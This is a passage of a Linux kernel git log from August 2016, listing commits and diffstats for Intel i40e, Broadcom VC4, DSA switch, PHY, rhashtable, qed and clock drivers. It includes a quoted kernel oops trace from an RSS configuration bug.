11:37:04 2016 -0700 i40e: Fix byte ordering in ARP NS code for X722 This patch fixes byte ordering problems found when enabling this feature support. Without this patch, the feature will not work correctly. This patch fixes the definitions to have the correct byte order. Change-ID: Ic7489fbcbe2195df7be62ff5e359201b827cefe6 Signed-off-by: Carolyn Wyborny Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_adminq_cmd.h | 38 ++++++++++++---------- .../net/ethernet/intel/i40evf/i40e_adminq_cmd.h | 38 ++++++++++++---------- 2 files changed, 42 insertions(+), 34 deletions(-) commit ffeac83685facb6f0829b898d567056eae8097f8 Author: Carolyn Wyborny Date: Thu Aug 4 11:37:03 2016 -0700 i40e: refactor tail_bump check This patch refactors tail bump check. Change-ID: Ide0e19171d67d90cb2b06b8dcd4fa791ae120160 Signed-off-by: Carolyn Wyborny Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_txrx.c | 6 ++---- drivers/net/ethernet/intel/i40evf/i40e_txrx.c | 6 ++---- 2 files changed, 4 insertions(+), 8 deletions(-) commit fe458e50711b8a3dc773a6aa1f80b477991c8bbe Author: Mitch Williams Date: Thu Aug 4 11:37:02 2016 -0700 i40evf: report link speed The PF driver tells us the link speed, so do something with that information. Add link speed to log messages, and report speed through ethtool. Change-Id: I279dc9540cc5203376406050a3e8d67e128d5882 Signed-off-by: Mitch Williams Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40evf/i40evf.h | 1 + drivers/net/ethernet/intel/i40evf/i40evf_ethtool.c | 26 ++++++++-- .../net/ethernet/intel/i40evf/i40evf_virtchnl.c | 55 ++++++++++++++++++---- 3 files changed, 70 insertions(+), 12 deletions(-) commit 6992a6c9c435c10253a229ce61852f5305fae646 Author: Jacob Keller Date: Thu Aug 4 11:37:01 2016 -0700 i40e: use alloc_workqueue instead of create_singlethread_workqueue Replace calls to create_singlethread_workqueue instead with alloc_workqueue as is style with other Intel drivers. This provides more control over workqueue creation, and allows explicit setting of the desired mode of operation. It also makes it more obvious that driver name constant is passed to a format "%s". Change-ID: I6192b44caf5140336cd54c5b350d51c73b541fdb Signed-off-by: Jacob Keller Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 3 ++- drivers/net/ethernet/intel/i40evf/i40evf_main.c | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) commit 552b996256241198a08005a91a206b402ac234f6 Author: Jacob Keller Date: Tue Jul 19 16:23:31 2016 -0700 i40e: use configured RSS key and lookup table in i40e_vsi_config_rss A previous refactor added support to store user configuration for VSIs, so that extra VSIs such as for VMDq can use this information when configuring. Unfortunately the i40e_vsi_config_rss function was missed in this refactor, and the values were being ignored. Fix this by checking for the fields and using those instead of always using the default values. Signed-off-by: Jacob Keller Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) commit 776b2e15f8af7900409456292efd45af6de97172 Author: Jacob Keller Date: Tue Jul 19 16:23:30 2016 -0700 i40e: fix broken i40e_config_rss_aq function X722 hardware requires using the admin queue to configure RSS. This function was previously re-written in commit e69ff813af35 ("i40e: rework the functions to configure RSS with similar parameters"). However, the previous refactor did not work correctly for a few reasons (a) it does not check whether seed is NULL before using it, resulting in a NULL pointer dereference [ 402.954721] BUG: unable to handle kernel NULL pointer dereference at (null) [ 402.955568] IP: [] i40e_config_rss_aq.constprop.65+0x2f/0x1c0 [i40e] [ 402.956402] PGD ad610067 PUD accc0067 PMD 0 [ 402.957235] Oops: 0000 [#1] SMP [ 402.958064] Modules linked in: ip6t_rpfilter ip6t_REJECT nf_reject_ipv6 xt_conntrack ip_set nfnetlink ebtable_filter ebtable_ broute bridge stp llc ebtable_nat ebtables ip6table_mangle ip6table_raw ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv 6 ip6table_security ip6table_filter ip6_tables iptable_mangle iptable_raw iptable_nat nf_conntrack_ipv4_ nf_defrag_ipv4_ nf_nat_ip v4_ nf_nat nf_conntrack iptable_security intel_rapl i86_kg_temp_thermal coretemp kvm_intel kvm irqbypass crct10dif_clMl crc32_ pclMl ghash_clMlni_intel iTCO_wdt iTCO_vendor_support shpchp sb_edac dcdbas pcspkr joydev ipmi_devintf wmi edac_core ipmi_ssif acpi_ad acpi_ower_meter ipmi_si ipmi_msghandler mei_me nfsd lpc_ich mei ioatdma tpm_tis auth_rpcgss tpm nfs_acl lockd grace s unrpc ifs nngag200 i2c_algo_bit drm_kms_helper ttm drm iigbe bnx2x i40e dca mdio ptp pps_core libcrc32c fjes crc32c_intel [ 402.965563] CPU: 22 PID: 2461 Conm: ethtool Not tainted 4.6.0-rc7_1.2-ABNidQ+ #20 [ 402.966719] Hardware name: Dell Inc. PowerEdge R720/0C4Y3R, BIOS 2.5.2 01/28/2015 [ 402.967862] task: ffff880219b51dc0 ti: ffff8800b3408000 task.ti: ffff8800b3408000 [ 402.969046] RIP: 0010:[] [] i40e_config_rss_aq.constprop.65+0x2f/0x1c0 [i40e] [ 402.970339] RSP: 0018:ffff8800b340ba90 EFLAGS: 00010246 [ 402.971616] RAX: 0000000000000000 RBX: ffff88042ec14000 RCX: 0000000000000200 [ 402.972961] RDX: ffff880428eb9200 RSI: 0000000000000000 RDI: ffff88042ec14000 [ 402.974312] RBP: ffff8800b340baf8 R08: ffff880237ada8f0 R09: ffff880428eb9200 [ 402.975709] R10: ffff880428eb9200 R11: 0000000000000000 R12: ffff88042ec2e000 [ 402.977104] R13: ffff88042ec2e000 R14: ffff88042ec14000 R15: ffff88022ea00800 [ 402.978541] FS: 00007f84fd054700(0000) GS:ffff880237ac0000(0000) knlGS:0000000000000000 [ 402.980003] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 402.981508] CR2: 0000000000000000 CR3: 000000003289e000 CR4: 00000000000406e0 [ 402.983028] Stack: [ 402.984578] 0000000002000200 0000000000000000 ffff88023ffeda68 ffff88023ffef000 [ 402.986187] 0000000000000268 ffff8800b340bbf8 ffff88023ffedd80 0000000088ce4f1d [ 402.987844] ffff88042ec14000 ffff88022ea00800 ffff88042ec2e000 ffff88042ec14000 [ 402.989509] Call Trace: [ 402.991200] [] i40e_config_rss+0x11f/0x1c0 [i40e] [ 402.992924] [] i40e_set_rifh+0ic0/0x130 [i40e] [ 402.994684] [] ethtool_set_rifh+0x1f7/0x300 [ 402.996446] [] ? cred_has_capability+0io6b/0x100 [ 402.998203] [] ? selinux_capable+0x12/0x20 [ 402.999968] [] ? security_capable+0x4b/0x70 [ 403.001707] [] dev_ethtool+0x1423/0x2290 [ 403.003461] [] dev_ioctl+0x191/0io630 [ 403.005186] [] ? lru_cache_add+0x3a/0i80 [ 403.006942] [] ? _raw_spin_unlock+0ie/0x20 [ 403.008691] [] sock_do_ioctl+0x45/0i50 [ 403.010421] [] sock_ioctl+0x209/0x2d0 [ 403.012173] [] do_vfs_ioctl+0u4/0io6c0 [ 403.013911] [] SyS_ioctl+0x79/0x90 [ 403.015710] [] entry_SYSCALL_64_fastpath+0x1a/0u4 [ 403.017500] Code: 90 55 48 89 e5 41 57 41 56 41 55 41 54 53 48 89 fb 48 83 ec 40 4c 8b a7 e0 05 00 00 65 48 8b 04 25 28 00 00 00 48 89 45 d0 31 c0 <48> 8b 06 41 0f b7 bc 24 f2 0f 00 00 48 89 45 9c 48 8b 46 08 48 [ 403.021454] RIP [] i40e_config_rss_aq.constprop.65+0x2f/0x1c0 [i40e] [ 403.023395] RSP [ 403.025271] CR2: 0000000000000000 [ 403.027169] ---[ end trace 64561b528cf61cf0 ]--- (b) it does not even bother to use the passed in *lut parameter which defines the requested lookup table. Instead it uses its own round robin table. Fix these issues by re-writing it to be similar to i40e_config_rss_reg and i40e_get_rss_aq. Fixes: e69ff813af35 ("i40e: rework the functions to configure RSS with similar parameters", 2015-10-21) Signed-off-by: Jacob Keller Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 57 ++++++++++++----------------- 1 file changed, 23 insertions(+), 34 deletions(-) commit 0582b964ece795fa2810eace82bf9b2233403d65 Author: Jacob Keller Date: Tue Jul 19 16:23:29 2016 -0700 i40e: move i40e_vsi_config_rss below i40e_get_rss_aq Move this function below the two functions related to configuring RSS via the admin queue. This helps co-locate the two functions, and made it easier to spot a bug in the first i40e_config_rss_aq function as compared to the i40e_get_rss_aq function. Signed-off-by: Jacob Keller Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 54 ++++++++++++++--------------- 1 file changed, 27 insertions(+), 27 deletions(-) commit 67f13690f447841fb3d2f952a6e49b2b28ae379b Author: Eric Anholt Date: Tue Aug 2 17:17:52 2016 -0700 drm/vc4: Don't force new binner overflow allocation per draw. This came from the initial bringup code, which always idled the GPU and always reset the overflow. That massively increases the size of the working set when you're doing lots of small draws, though, as is common on X desktops or piglit. Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_gem.c | 4 ---- 1 file changed, 4 deletions(-) commit e941f05d3c1155b5cee65e146324219c6a72be27 Author: Mario Kleiner Date: Tue Jul 19 20:59:01 2016 +0200 drm/vc4: Enable/Disable vblanks properly in crtc en/disable. Add missing drm_crtc_vblank_on/off() calls so vblank irq handling/updating/timestamping never runs with a crtc shut down or during its shutdown/startup, as that causes large jumps in vblank count and trouble for compositors. Signed-off-by: Mario Kleiner Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_crtc.c | 6 ++++++ 1 file changed, 6 insertions(+) commit e538092cb15cf2978cb661af3382d71601bed539 Author: Mario Kleiner Date: Tue Jul 19 20:59:00 2016 +0200 drm/vc4: Enable precise vblank timestamping for interlaced modes. On top of the interlaced video mode fix and with some additional adjustments, this now works well. It has almost the same accuracy as on regular progressive scan modes. Signed-off-by: Mario Kleiner Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_crtc.c | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) commit 3645146706f716be7ef2b88ebcc26f7f1fc4e4aa Author: Mario Kleiner Date: Tue Jul 19 20:58:59 2016 +0200 drm/vc4: Reject doublescan modes. We can't handle doublescan modes at the moment, so if userspace tries to set one, reject the mode set. Signed-off-by: Mario Kleiner Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_crtc.c | 7 +++++++ 1 file changed, 7 insertions(+) commit acc1be1d351e8d5c0c8d14dad904ae0e39fc3653 Author: Mario Kleiner Date: Tue Jul 19 20:58:58 2016 +0200 drm/vc4: Fix handling of interlaced video modes. We must not apply CRTC_INTERLACE_HALVE_V to interlaced modes during mode enumeration, as drm_helper_probe_single_connector_modes does, so wrap it and reset the effect of CRTC_INTERLACE_HALVE_V on affected interlaced modes. Also mode_fixup interlaced modes passed in from user space. This fixes the vblank timestamping constants and entries in the mode->crtc_xxx fields needed for precise vblank timestamping. Signed-off-by: Mario Kleiner Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_crtc.c | 18 ++++++++++++++++++ drivers/gpu/drm/vc4/vc4_hdmi.c | 29 +++++++++++++++++++++++++++-- 2 files changed, 45 insertions(+), 2 deletions(-) commit e2298350de58d5c956131003606bfa4995f26933 Author: Mario Kleiner Date: Tue Jul 19 20:58:57 2016 +0200 drm/vc4: Disallow interlaced modes on DPI. We already don't expose such modes to userspace, but make sure userspace can't sneak some interlaced mode in. Signed-off-by: Mario Kleiner Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_dpi.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit dc833def42e7f2425f69d83a53bee054e80caea5 Author: Vegard Nossum Date: Fri Aug 19 18:08:57 2016 +0200 net/irda: remove pointless assignment/check We've already set sk to sock->sk and dereferenced it, so if it's NULL we would have crashed already. Moreover, if it was NULL we would have crashed anyway when jumping to 'out' and trying to unlock the sock. Furthermore, if we had assigned a different value to 'sk' we would have been calling lock_sock() and release_sock() on different sockets. My conclusion is that these two lines are complete nonsense and only serve to confuse the reader. Signed-off-by: Vegard Nossum Signed-off-by: David S. Miller net/irda/af_irda.c | 3 --- 1 file changed, 3 deletions(-) commit 05fafbfb3d77f43ae18341ddc61eb5c477896778 Author: Yuval Mintz Date: Fri Aug 19 09:33:31 2016 +0300 qed: utilize FW 8.10.10.0 This new firmware for the qed* adpaters fixes several issues: - Better blocking of malicious VFs. - After FLR, Tx-switching [internal routing] of packets might be incorrect. - Deletion of unicast MAC filters would sometime have side-effect of corrupting the MAC filters configred for a device. It also contains fixes for future qed* drivers that *hopefully* would be sent for review in the near future. In addition, it would allow driver some new functionality, including: - Allowing PF/VF driver compaitibility with old drivers [running pre-8.10.5.0 firmware]. - Better debug facilities. This would also bump the qed* driver versions to 8.10.9.20. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed.h | 2 +- drivers/net/ethernet/qlogic/qed/qed_dev.c | 48 +- drivers/net/ethernet/qlogic/qed/qed_hsi.h | 1424 +++++++++++++++--------- drivers/net/ethernet/qlogic/qed/qed_init_ops.c | 2 +- drivers/net/ethernet/qlogic/qed/qed_mcp.c | 28 - drivers/net/ethernet/qlogic/qed/qed_mcp.h | 2 - drivers/net/ethernet/qlogic/qed/qed_reg_addr.h | 6 + drivers/net/ethernet/qlogic/qed/qed_sriov.c | 13 +- drivers/net/ethernet/qlogic/qede/qede.h | 2 +- include/linux/qed/common_hsi.h | 361 +++++- include/linux/qed/eth_common.h | 155 +-- include/linux/qed/iscsi_common.h | 28 +- include/linux/qed/qed_chain.h | 13 - include/linux/qed/tcp_common.h | 16 +- 14 files changed, 1375 insertions(+), 725 deletions(-) commit 75d67207bf4e282e37a20c490991c15b686a480e Merge: 484387c 57ca2a4 Author: David S. Miller Date: Fri Aug 19 17:19:20 2016 -0700 Merge branch '10GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 10GbE Intel Wired LAN Driver Updates 2016-08-18 This series contains updates to ixgbe and ixgbevf. Emil cleans up confusing amongst the users by making an error message into a debug message, since the TXDCTL.ENABLE (and comparable VFTXDCTL.ENABLE for ixgbevf) bit is set only when the transmit queue is actually enabled, which may not happen during the configure phase eve if we waited for it. Converts to using netdev_dbg() macro instead of our home brewed macro for ixgbevf. Converted the service task to use atomic bitwise operations when setting and checking reset requests to reduce the possibility of race conditions. ==================== Signed-off-by: David S. Miller commit 484387c9a2d8cb4d21752b6dded10a43c7c22363 Merge: 0ae940c 731410b Author: David S. Miller Date: Fri Aug 19 17:15:37 2016 -0700 Merge branch 'bcm_sf2-platform-dev' Florian Fainelli says: ==================== net: dsa: bcm_sf2: Platform conversion This patch series converts the bcm_sf2 driver from a traditional DSA driver into a platform_device driver and makes it use the new DSA binding that Andrew introduced in the latest merge window. Prior attempts used to coerce the code in net/dsa/dsa2.c to accept the old binding, while really there is only one broken single user out there: bcm_sf2, so instead, just assume the new DT binding is deployed and use it accordingly. ==================== Signed-off-by: David S. Miller commit 731410b76e86f72ae18a3a4018cdc30258b10beb Author: Florian Fainelli Date: Thu Aug 18 15:30:16 2016 -0700 net: dsa: bcm_sf2: Remove probing through old DSA binding Remove our dsa_switch_driver::drv_probe callback to prevent probing through the old DSA binding, not that this could happen anymore now that we have moved the matching compatible string from net/dsa/dsa.c to drivers/net/dsa/bcm_sf2.c, so this is essentially dead code. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 15 --------------- 1 file changed, 15 deletions(-) commit 4bd11675cf0d39e912b55e4d8fa91c85a82d946a Author: Florian Fainelli Date: Thu Aug 18 15:30:15 2016 -0700 net: dsa: bcm_sf2: Use device managed helpers Now that we have converted the drivers into a proper platform device driver, we can use the device managed helper functions to simplify the error paths a bit wrt. register resources and IRQs. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 36 +++++++++++++----------------------- 1 file changed, 13 insertions(+), 23 deletions(-) commit d9338023fb8e60aa09014034a993f8ddc86c65fa Author: Florian Fainelli Date: Thu Aug 18 15:30:14 2016 -0700 net: dsa: bcm_sf2: Make it a real platform device driver The Broadcom Starfighter 2 switch driver should be a proper platform driver, now that the DSA code has been updated to allow that, register a switch device, feed it with the proper configuration data coming from Device Tree and register our switch device with DSA. The bulk of the changes consist in moving what bcm_sf2_sw_setup() did into the platform driver probe function. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 178 ++++++++++++++++++++++++++++++---------------- net/dsa/dsa.c | 1 - 2 files changed, 118 insertions(+), 61 deletions(-) commit a85fad1436b0fd0fe9d7f1d23387e83e7cd21c0a Author: Florian Fainelli Date: Thu Aug 18 15:30:13 2016 -0700 Documentation: dt: bindings: Update Broadcom 7445 switch document Document the updated binding which conforms to the new DSA binding in net/dsa/dsa.txt. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller .../bindings/net/brcm,bcm7445-switch-v4.0.txt | 45 +++++++++++++++++++++- 1 file changed, 44 insertions(+), 1 deletion(-) commit ea825e70d0e0798eda3a57b05c90f21f5a369128 Author: Florian Fainelli Date: Thu Aug 18 15:30:12 2016 -0700 net: dsa: Export suspend/resume functions In preparation for allowing switch drivers to implement system-wide suspend/resume functions, export dsa_switch_suspend and dsa_switch_resume() such that these are callable from the appropriate driver specific suspend/resume functions. Reviewed-by: Andrew Lunn Tested-by: Vivien Didelot Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller include/net/dsa.h | 14 ++++++++++++++ net/dsa/dsa.c | 6 ++++-- 2 files changed, 18 insertions(+), 2 deletions(-) commit 0ae940c7a7734ed144103d67333e6b26342aa1e6 Merge: 7a7e780 3085355 Author: David S. Miller Date: Fri Aug 19 17:14:08 2016 -0700 Merge branch 'mv88e6xxx-fix-wait' Andrew Lunn says: ==================== Fix mv88e6xxx wait function The mv88e6xxx wait function can be upset of the system has nots of other things to do and a sleep takes a lot longer than expected. Fix this be using a fixed number of iterations, rather than a fixed walkclock time. Witht that change made, it is possible to consoliate another wait function. A wait actually timing out should not happen and when it does, it means something serious is wrong. Make sure an error is logged, since not all callers will log an error. ==================== Reviewed-by: Vivien Didelot Signed-off-by: David S. Miller commit 30853553c0e056403e1d6b2915a903401647839a Author: Andrew Lunn Date: Fri Aug 19 00:01:57 2016 +0200 dsa: mv88e6xxx: Make mv88e6xxx_wait() timeout verbose When mv88e6xxx_wait() returns a timeout, something bad has happened. Make sure it is noticed by logging an error. Signed-off-by: Andrew Lunn Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 1 + 1 file changed, 1 insertion(+) commit 0f02b4f75245c9f11f38ed983a2f5e21fd780e80 Author: Andrew Lunn Date: Fri Aug 19 00:01:56 2016 +0200 dsa: mv88e6xxx: Use mv88e6xx_wait in mv88e6xxx_update() Now that mv88e6xx_wait() iterated on a counter than a fixed time interval, it implements the same mechanism as mv88e6xxx_update() uses. So use it in mv88e6xx_wait(). Signed-off-by: Andrew Lunn Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit 6441e6695acfce66499c186c591f319a3b125de7 Author: Andrew Lunn Date: Fri Aug 19 00:01:55 2016 +0200 dsa: mv88e6xxx: Timeout based on iterations, not time The mv88e6xxx driver times out operations on the switch based on looping until an elapsed wall clock time is reached. However, if usleep_range() sleeps much longer than expected, it could timeout with an error without actually checking to see if the devices has completed the operation. So replace the elapsed time with a fixed upper bound on the number of loops. Testing on various switches has shown that switches takes either 0 or 1 iteration, so a maximum of 16 iterations is a safe limit. Signed-off-by: Andrew Lunn Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) commit 7a7e780cd702fb39edc9af96e75e0cc2b00234f2 Merge: d985d15 97c8438 Author: David S. Miller Date: Fri Aug 19 17:11:50 2016 -0700 Merge branch 'phy-next' Andrew Lunn says: ==================== PHY Kconfig and Makefile cleanup The Ethernet PHY directory has slowly been getting more entries. Split the entries in the Makefile and Kconfig into MDIO bus drivers and PHYs. Within these two groups, sort them. This should reduce merge conflicts and aid finding what one searches for. The Kconfig text contains redundant "Driver for" and "Support for" which add little value, make the vendor less obvious, and defeat the shortcut key in the menu. Remove such text. ==================== Signed-off-by: David S. Miller commit 97c84389ac0f3148ae340d2dda17d00c0131599f Author: Andrew Lunn Date: Thu Aug 18 23:56:06 2016 +0200 net: phy: Kconfig: Remove redundant "Support for" Remove the redundant "Support for" and "Drivers for" from the Kconfig short description. This makes the manufacture much more prominent in the list and makes the shortcut keys useful. Signed-off-by: Andrew Lunn Acked-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/phy/Kconfig | 70 ++++++++++++++++++++++++------------------------- 1 file changed, 35 insertions(+), 35 deletions(-) commit d75b4a22b255471906e794fe988b18de158cedec Author: Andrew Lunn Date: Thu Aug 18 23:56:05 2016 +0200 net: phy: Sort Makefile and Kconfig Sort the files to reduce merge conflicts and to make it easier to find drivers by name. Also separate the MDIO bus drivers from the PHY drivers, again to help find what you need. Signed-off-by: Andrew Lunn Acked-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/phy/Kconfig | 427 ++++++++++++++++++++++++----------------------- drivers/net/phy/Makefile | 76 +++++---- 2 files changed, 253 insertions(+), 250 deletions(-) commit d985d15151c0e9d3add8050da77d8f507f6cc7f5 Author: Eric Dumazet Date: Thu Aug 18 10:19:34 2016 -0700 net: ipv4: fix sparse error in fib_good_nh() Fixes following sparse errors : net/ipv4/fib_semantics.c:1579:61: warning: incorrect type in argument 2 (different base types) net/ipv4/fib_semantics.c:1579:61: expected unsigned int [unsigned] [usertype] key net/ipv4/fib_semantics.c:1579:61: got restricted __be32 const [usertype] nh_gw Fixes: a6db4494d218c ("net: ipv4: Consider failed nexthops in multipath routes") Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/ipv4/fib_semantics.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 217375a0c677d2e885cb05f767af34467399b424 Author: Eric Dumazet Date: Thu Aug 18 09:59:12 2016 -0700 udp: include addrconf.h Include ipv4_rcv_saddr_equal() definition to avoid this sparse error : net/ipv4/udp.c:362:5: warning: symbol 'ipv4_rcv_saddr_equal' was not declared. Should it be static? Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/ipv4/udp.c | 1 + 1 file changed, 1 insertion(+) commit b6c6b645d29158acb41d6fb2031b289d4f0fc936 Author: Eric Dumazet Date: Thu Aug 18 09:49:55 2016 -0700 tcp: md5: remove tcp_md5_hash_header() After commit 19689e38eca5 ("tcp: md5: use kmalloc() backed scratch areas") this function is no longer used. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/ipv4/tcp.c | 17 ----------------- 1 file changed, 17 deletions(-) commit dfad09a6da60d6426b1193029089ef008891f007 Author: Thomas Falcon Date: Thu Aug 18 11:37:51 2016 -0500 ibmvnic: Handle backing device failover and reinitialization An upcoming feature of IBM VNIC protocol is the ability to configure redundant backing devices for a VNIC client. In case of a failure on the current backing device, the driver will receive a signal from the hypervisor indicating that a failover will occur. The driver will then wait for a message from the backing device before establishing a new connection. Signed-off-by: Thomas Falcon Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 34 ++++++++++++++++++++++++++++++++-- drivers/net/ethernet/ibm/ibmvnic.h | 2 ++ 2 files changed, 34 insertions(+), 2 deletions(-) commit e018068812e54c407da599513bf8ad2d99fd0eaf Author: oulijun Date: Thu Aug 18 20:32:52 2016 +0800 net: hns: Add reset function support for RoCE driver It added reset function for RoCE driver. RoCE is a feature of hns. In hip06 SoC, in RoCE reset process, it's needed to configure dsaf channel reset, port and sl map info. Reset function of RoCE is located in dsaf module, we only call it in RoCE driver when needed. This patch is used to fix the conflict, please refer to this link: https://www.spinics.net/lists/linux-rdma/msg39114.html Signed-off-by: Wei Hu Signed-off-by: Nenglong Zhao Signed-off-by: Lijun Ou Signed-off-by: Sheng Li Reviewed-by: Yisen Zhuang Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hns/hns_dsaf_main.c | 84 ++++++++++++++++++++++ drivers/net/ethernet/hisilicon/hns/hns_dsaf_main.h | 30 ++++++++ drivers/net/ethernet/hisilicon/hns/hns_dsaf_misc.c | 36 ++++++++++ drivers/net/ethernet/hisilicon/hns/hns_dsaf_reg.h | 12 ++++ 4 files changed, 162 insertions(+) commit a68d53988bc7f54aa383ecb308e7684c787af67c Merge: 363dc39 ad20207 Author: David S. Miller Date: Fri Aug 19 14:40:25 2016 -0700 Merge branch 'rhash-raw-walkers-remove-part-1' Herbert Xu says: ==================== rhashtable: Get rid of raw table walkers part 1 This series starts the process of getting rid of all raw rhashtable walkers (e.g., using any of the rht_for_each helpers) from the kernel. We need to do this before I can fix the resize kmalloc failure issue by using multi-layered tables. We should do this anyway because almost all raw table walkers are already buggy in that they don't handle multiple rhashtables during a resize. ==================== Dave/Tomas, please keep an eye out for any new patches that try to introduce raw table walkers and nack them. Signed-off-by: David S. Miller commit ad202074320cd75b31b8cdb58cca0d4ef6aaea8a Author: Herbert Xu Date: Fri Aug 19 16:21:37 2016 +0800 netlink: Use rhashtable walk interface in diag dump This patch converts the diag dumping code to use the rhashtable walk code instead of going through rhashtable by hand. The lock nl_table_lock is now only taken while we process the multicast list as it's not needed for the rhashtable walk. Signed-off-by: Herbert Xu Signed-off-by: David S. Miller net/netlink/diag.c | 103 +++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 73 insertions(+), 30 deletions(-) commit 39ec406d122be703ee51cb2754fe18b1f7037fa0 Author: Herbert Xu Date: Thu Aug 18 16:50:57 2016 +0800 MAINTAINERS: Add extra rhashtable maintainer As I'm working actively on rhashtable it helps if people CCed me when they work on in. Signed-off-by: Herbert Xu Acked-by: Thomas Graf Signed-off-by: David S. Miller MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 246779dd090bd1b74d2652b3a6ca7759f593b27a Author: Herbert Xu Date: Thu Aug 18 16:50:56 2016 +0800 rhashtable: Remove GFP flag from rhashtable_walk_init The commit 8f6fd83c6c5ec66a4a70c728535ddcdfef4f3697 ("rhashtable: accept GFP flags in rhashtable_walk_init") added a GFP flag argument to rhashtable_walk_init because some users wish to use the walker in an unsleepable context. In fact we don't need to allocate memory in rhashtable_walk_init at all. The walker is always paired with an iterator so we could just stash ourselves there. This patch does that by introducing a new enter function to replace the existing init function. This way we don't have to churn all the existing users again. Signed-off-by: Herbert Xu Signed-off-by: David S. Miller include/linux/rhashtable.h | 14 +++++++++++--- lib/rhashtable.c | 46 ++++++++++++++++++---------------------------- 2 files changed, 29 insertions(+), 31 deletions(-) commit 63bb4fd6a391167f855f9b38b27945bed4015756 Author: Rajendra Nayak Date: Tue Aug 16 12:55:48 2016 +0530 clk: qcom: gdsc: Add the missing BIMC gdsc for msm8996 Add BIMC gdsc data found in MMCC part of msm8996 family of devices. Signed-off-by: Rajendra Nayak Signed-off-by: Stephen Boyd drivers/clk/qcom/mmcc-msm8996.c | 9 +++++++++ include/dt-bindings/clock/qcom,mmcc-msm8996.h | 1 + 2 files changed, 10 insertions(+) commit 069810257644c90d891ce659596013201d9d9e7b Author: Fabio Estevam Date: Fri Aug 12 15:26:56 2016 -0300 clk: imx7d: Add SAI IPG clocks The SAI_IPG clocks are enabled by the same bits that control SAI_ROOT_CLK clocks, so represent them as shared clocks. Signed-off-by: Fabio Estevam Signed-off-by: Stephen Boyd drivers/clk/imx/clk-imx7d.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit d5ebf5fabb66d76abb1ce28863f6c5afcc6d5367 Author: Fabio Estevam Date: Fri Aug 12 15:26:55 2016 -0300 clk: imx: Introduce clk_register_gate2() Introduce imx_clk_gate2_shared2() which is similar to the existing imx_clk_gate2_shared() and passes CLK_OPS_PARENT_ENABLE flag, which is useful for i.MX7 shared clocks. Signed-off-by: Fabio Estevam Signed-off-by: Stephen Boyd drivers/clk/imx/clk.h | 9 +++++++++ 1 file changed, 9 insertions(+) commit 96e9dff6ddf0ee436a670cf58d740d40e4088ff9 Author: Fabio Estevam Date: Fri Aug 12 15:26:54 2016 -0300 clk: imx7d: Add the clock for SDMA Add IMX7D_SDMA_CORE_CLK clock so that SDMA can be functional. Signed-off-by: Fabio Estevam Signed-off-by: Stephen Boyd drivers/clk/imx/clk-imx7d.c | 1 + 1 file changed, 1 insertion(+) commit 43d6912417011ea52ee8c271ec2bf07cc98a98b9 Merge: c3c5768 f8c11f7 Author: Stephen Boyd Date: Fri Aug 19 12:51:14 2016 -0700 Merge branch 'clk-meson-gxbb-ao' into clk-next * clk-meson-gxbb-ao: clk: meson: Add GXBB AO Clock and Reset controller driver dt-bindings: clock: reset: Add GXBB AO Clock and Reset Bindings commit f8c11f79912db52c8d90ce748094b4d411f36782 Author: Neil Armstrong Date: Thu Aug 18 12:08:46 2016 +0200 clk: meson: Add GXBB AO Clock and Reset controller driver Adds a Clock and Reset controller driver for the Always-On part of the Amlogic Meson GXBB SoC. It exports paired Clocks and Resets lines that will be used by peripherals in the Always-On subsystem. Signed-off-by: Neil Armstrong Signed-off-by: Stephen Boyd drivers/clk/meson/Makefile | 2 +- drivers/clk/meson/gxbb-aoclk.c | 191 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 192 insertions(+), 1 deletion(-) commit 